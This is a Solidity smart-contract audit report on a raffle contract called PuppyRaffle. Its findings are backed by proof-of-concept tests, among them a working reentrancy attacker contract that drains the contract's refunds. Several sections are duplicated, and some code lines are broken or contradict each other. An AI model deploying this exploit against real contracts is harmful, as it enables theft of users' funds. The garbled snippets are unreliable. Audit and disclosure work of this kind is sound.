# Protocol Audit Report

Version 1.0

*khal45*

September 13, 2025

# Protocol Audit Report

khal45

September 13th, 2025

Prepared by: khal45 Lead Security Researcher:

- khal45

## Table of Contents

- Medium
  * [M-1] Unbounded for loop to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service attack, incrementing gas costs for future entrants
  * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
  * [M-3] Smart contract wallet raffle winners without a `receive` or a `fallback` function will block the start of a new contest
- Low
  * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
- Gas
  * [G-1] Unchanged state variables should be declared constant or immutable.
  * [G-2] Storage variables in a loop should be cached
- Informational
  * [I-1] Unspecific Solidity Pragma
  * [I-2] Using an outdated version of Solidity is not recommended
  * [I-3] Missing checks for `address(0)` when assigning values to address state variables
  * [I-4] `PuppyRaffle::selectWinner` does not follow CEI which is not a best practice
  * [I-5] Use of "magic" numbers is discouraged
  * [I-6] Unchanged variables should be constant or immutable
  * [I-7] Potentially erroneous active player index
  * [I-8] Zero address may be erroneously considered an active player

## Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

## Disclaimer

Khal45 makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by me is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

Commit Hash:

The findings described in this document correspond the following commit hash:

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

### Scope

```
./src/
-- PuppyRaffle.sol
```

### Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

## Executive Summary

Over the course of the security review, khal45 engaged with the **puppy-raffle** protocol to review it. In this period of time, a total of 17 issues were found

### Issues found

| Severity | Number of issues found |
|---|---|
| High | 3 |
| Medium | 3 |
| Low | 1 |
| Gas | 2 |
| Info | 8 |
| Total | 17 |

## Findings

### High

#### [H-1] Reentrancy attack in PuppyRaffle::refund allows entrant to drain raffle balance

**Description:**
The `PuppyRaffle::refund` function does not follow the CEI (Checks, Effects, Interactions) pattern. As a result, participants can exploit it to drain the contract balance.

In `PuppyRaffle::refund`, an external call is made to `msg.sender` before updating the `PuppyRaffle::players` array. This ordering leaves the function vulnerable.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

@>  payable(msg.sender).sendValue(entranceFee);
@>  players[playerIndex] = address(0);

    emit RaffleRefunded(playerAddress);
}
```

A malicious player can use a `fallback`/`receive` function to recursively call `PuppyRaffle::refund` and repeatedly claim refunds until the contract balance is drained.

**Impact:**
All fees paid by raffle entrants can be stolen by a malicious participant.

**Proof of Concept:**

1. A user enters the raffle.
2. The attacker deploys a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. The attacker enters the raffle through this contract.
4. The attacker calls `PuppyRaffle::refund` from their contract, draining the raffle balance.

**Proof of Code:**

Exploit test

Add the following to `PuppyRaffleTest.t.sol`:

```
function test_reentrancyRefund() public {
    address ;
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new ReentrancyAttacker(
        puppyRaffle);
    address attackUser = makeAddr("attackUser");
    vm.deal(attackUser, 1 ether);

    uint256 startingAttackContractBalance = address(attackerContract).
        balance;
    uint256 startingContractBalance = address(puppyRaffle).balance;

    console.log("starting attacker contract balance:", startingAttackContractBalance);
    console.log("starting contract balance:", startingContractBalance);

    // Perform attack
    vm.prank(attackUser);
    attackerContract.attack{value: entranceFee}();

    uint256 endingAttackContractBalance = address(attackerContract).balance;
    uint256 endingContractBalance = address(puppyRaffle).balance;

    console.log("ending attacker contract balance:", endingAttackContractBalance);
    console.log("ending contract balance:", endingContractBalance);
}
```

Attacker contract

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address ;
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

**Recommended Mitigation:**
Update state before making the external call. Specifically, assign `address(0)` to the refunded player and emit the event prior to transferring funds. Additionally, consider using OpenZeppelin's `ReentrancyGuard` for extra protection.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

+   players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);

    payable(msg.sender).sendValue(entranceFee);
-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
}
```

### [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to predict or influence the outcome

**Description:**
The randomness in `PuppyRaffle::selectWinner` is derived from hashing `msg.sender`, `block.timestamp`, and `block.difficulty`. These values are predictable or manipulable, making the result non-random. Malicious users can anticipate or influence these inputs to control the raffle outcome.

*Note:* Users could also front-run this function and call `refund` if they detect they are not the winner.

**Impact:**
Any participant can manipulate or predict the raffle result, allowing them to both win the prize and select the rarest puppy. This undermines the fairness of the raffle and could reduce it to a gas war over who can exploit the weakness first.

**Proof of Concept:**

1. Validators can anticipate `block.timestamp` and `block.difficulty` (or `prevrandao`, which replaced `block.difficulty`) to predict outcomes. See the Solidity blog on prevrandao.

2. Users can manipulate their `msg.sender` address (e.g., by redeploying contracts) to produce favorable hash values.
3. A participant can revert their `selectWinner` transaction if the outcome is not favorable.

Using on-chain values for randomness is a well-documented vulnerability.

**Recommended Mitigation:**
Use a secure, verifiable source of randomness such as Chainlink VRF. This ensures raffle outcomes are unbiased and resistant to manipulation.

**Description:** Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values and know them ahead of time to choose the winner of the raffle themselves.

*Note:* This means users could front-run this function and call `refund` if they see they are not the winner.

**Impact:** Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle

**Proof of Concept:**

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the Solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or the resulting puppy

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space

**Recommended Mitigation:** Consider using a cryptographically provable random number generator such as chainlink VRF

### [H-3] Integer overflow of `PuppyRaffle::totalFees` can lose fees

**Description:**
In Solidity versions prior to `0.8.0`, integer arithmetic did not revert on overflow. For example:

```
uint64 myVar = type(uint64).max; // 18446744073709551615
myVar = myVar + 1;              // myVar becomes 0 (wraps around)
```

PuppyRaffle::totalFees is stored as a uint64 and is incremented in selectWinner. If accumulated fees exceed uint64's max value, totalFees will overflow and wrap to a much smaller value.

**Impact:**
If totalFees overflows, the feeAddress may not be able to withdraw the correct amount using PuppyRaffle::withdrawFees, leaving fees permanently stuck in the contract (or otherwise mismatched with the contract balance).

**Proof of Concept:**

1. Conclude a raffle of 4 players.
2. Have 200 players enter a subsequent raffle and conclude it.
3. During selectWinner, totalFees is updated as:

```
totalFees = totalFees + uint64(fee);
// This can overflow if totalFees + fee > type(uint64).max
```

4. PuppyRaffle::withdrawFees contains the check:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

If totalFees has overflowed, this equality may never hold, preventing withdrawal. While a selfdestruct-style transfer could be used to force contract balance changes to match totalFees, that is not the intended design and may be infeasible once balances grow large.

Exploit test

```
function test_overflowInSelectWinner() public {
    uint256 playersNum = 4; // first set of players

    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = vm.addr(i + playersNum);
    }

    // Enter the raffle and select a winner
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();

    // Cast to uint256 for comparison
    uint256 totalFeesBefore = uint256(puppyRaffle.totalFees());

    // Now enter with many players (e.g., 200)
    uint256 newPlayersNum = 200;
    address[] memory secondSetOfPlayers = new address[](newPlayersNum);
    for (uint256 i = 0; i < newPlayersNum; i++) {
        secondSetOfPlayers[i] = vm.addr(i + newPlayersNum);
    }

    puppyRaffle.enterRaffle{value: entranceFee * newPlayersNum}(
        secondSetOfPlayers);
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();

    uint256 totalFeesAfter = uint256(puppyRaffle.totalFees());

    // Because of overflow, totalFeesAfter may be less than
        totalFeesBefore
    assertLt(totalFeesAfter, totalFeesBefore);
}
```

**Recommended Mitigations:**

1. Use Solidity >= `0.8.0`, where arithmetic overflow reverts by default.
2. Use `uint256` for `totalFees` (prefer native `uint256` for monetary accumulators).
3. If maintaining older compiler versions, use OpenZeppelin's `SafeMath` and avoid small-width integer types for fee accumulation.
4. Remove or rethink the strict balance equality in `withdrawFees` (the `require(address(this).balance == uint256(totalFees))` check). That check introduces other attack vectors and brittle conditions; replace it with a safer accounting/withdraw pattern.

**Description:** In solidity versions prior to `0.8.0` integers were subject to integer overflows

```
uint64 myVar = type(uint64).max;
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:**

1. We conclude a raffle of 4 players.
2. We then have 200 players enter a new raffle and conclude the raffle
3. `totalFees` will be

```
totalFees = totalFees + uint64(fee)
```

```
// totalFees will overflow because the value will be greater than the
    maximum value of uint64
```

4. You will not be able to withdraw due to the line `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could `selfdestruct` to send eth to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point there will be too much `balance` in the contract that the above will be impossible to hit

Code

```
    function test_overflowInSelectWinner() public {
        uint256 playersNum = 4; // first set of players

        address[] memory players = new address[](playersNum); // first
            enter the raffle with four players
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = vm.addr(i + playersNum);
        }

        // Enter the raffle and select a winner
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();

        // We cast it to a uint256 because foundry would throw an error
             otherwise
        uint256 totalFeesBefore = uint256(puppyRaffle.totalFees()); //
            get the total fees before entering the next batch of player

        // Now enter with 200 players
        uint256 newPlayersNum = 200;
        address[] memory secondSetOfPlayers = new address[](
            newPlayersNum); // an array of 200 players would make the
            fee in the `selectWinner` function greater than the max
            value of a uint64

        for (uint256 i = 0; i < newPlayersNum; i++) {
            secondSetOfPlayers[i] = vm.addr(i + newPlayersNum);
        }

        puppyRaffle.enterRaffle{value: entranceFee * newPlayersNum}(
            secondSetOfPlayers);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();

        uint256 totalFeesAfter = uint256(puppyRaffle.totalFees());
        // The total fees actually decreases instead of increasing
           because the fee exceeds the max value of a uint64
        assertLt(totalFeesBefore, totalFeesAfter);
    }
```

**Recommended Mitigation:** There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `safeMath` library of openZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

## Medium

### [M-1] Unbounded for loop to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service attack, incrementing gas costs for future entrants

**Description:** The `PuppyRaffle::enterRaffle` loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::enterRaffle` is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
// @audit dos attack
for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

**Impact:** The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::enterRaffle` so big that no one else enters, guarenteeing themselves the win.

**Proof of Concept:**

If we have sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6503272
- 2nd 100 players: ~18995512 gas

This is 3x more expensive for the second 100 players

POC

Place the following test into `PuppyRaffleTest.t.sol`.

```
    function test_denialOfService() public {
        vm.txGasPrice(1);

        // For the first 100
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);

        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players", gasUsedFirst);

        // for the second 100 players
        address[] memory playersTwo = new address[](playersNum);

        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum); // to ensure we
                don't make duplicate addresses
        }

        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
        console.log("Gas cost of the second 100 players", gasUsedSecond
           );

        assertGt(gasUsedSecond, gasUsedFirst);
    }
```

**Recommended Mitigation:** There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyway so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+     mapping(address => uint256) public addressToRaffleId;
+     uint256 public raffleId = 0;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+             addressToRaffleId[newPlayers[i]] = raffleId;
         }

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-             }
-         }
         emit RaffleEnter(newPlayers);
     }
.
.
.
     function selectWinner() external {
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

### [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

**Description:** In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle"
            );

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
            sender, block.timestamp, block.difficulty))) % players.
            length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

**Impact:** This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:**

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

**Recommended Mitigation:** Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

### [M-3] Smart contract wallet raffle winners without a `receive` or a `fallback` function will block the start of a new contest

**Description:** The `PuppyRaffle::selectWinner` function is responsible for reseting the lottery. However, if the winner is a smart contract wallet that rejects payments, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

**Impact:** The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money

**Proof of Concept:**

1. 10 smart contract wallets enter a lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

**Recommended Mitigation:**

**Recommended Mitigation:** There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)

2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

## Low

### [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

**Description:** If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

**Impact:** A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again wasting gas

**Proof of Concept:**

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

**Recommended Mitigation:** The easiest recommendation is to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

## Gas

### [G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

#### [G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient

```
+         uint256 playersLength = players.length;
-         for (uint256 i = 0; i < players.length - 1; i++) {
+         for (uint256 i = 0; i < playersLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
              for (uint256 j = i + 1; j < playersLength; j++) {
                 require(players[i] != players[j], "PuppyRaffle: Duplicate player");
             }
         }
```

### Informational

#### [I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

#### [I-2] Using an outdated version of Solidity is not recommended

**Description** solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

**Recommendation** Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

please see slither documentation for more information

### [I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`

- Found in src/PuppyRaffle.sol: 8662:23:35
- Found in src/PuppyRaffle.sol: 3165:24:35
- Found in src/PuppyRaffle.sol: 9809:26:35

### [I-4] `PuppyRaffle::selectWinner` does not follow CEI which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

### [I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase and its much more readable if the numbers are given a name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

### [I-6] Unchanged variables should be constant or immutable

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
    constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

### [I-7] Potentially erroneous active player index

**Description:** The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

**Recommended Mitigation:** Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

### [I-8] Zero address may be erroneously considered an active player

**Description:** The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

**Recommended Mitigation:** Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.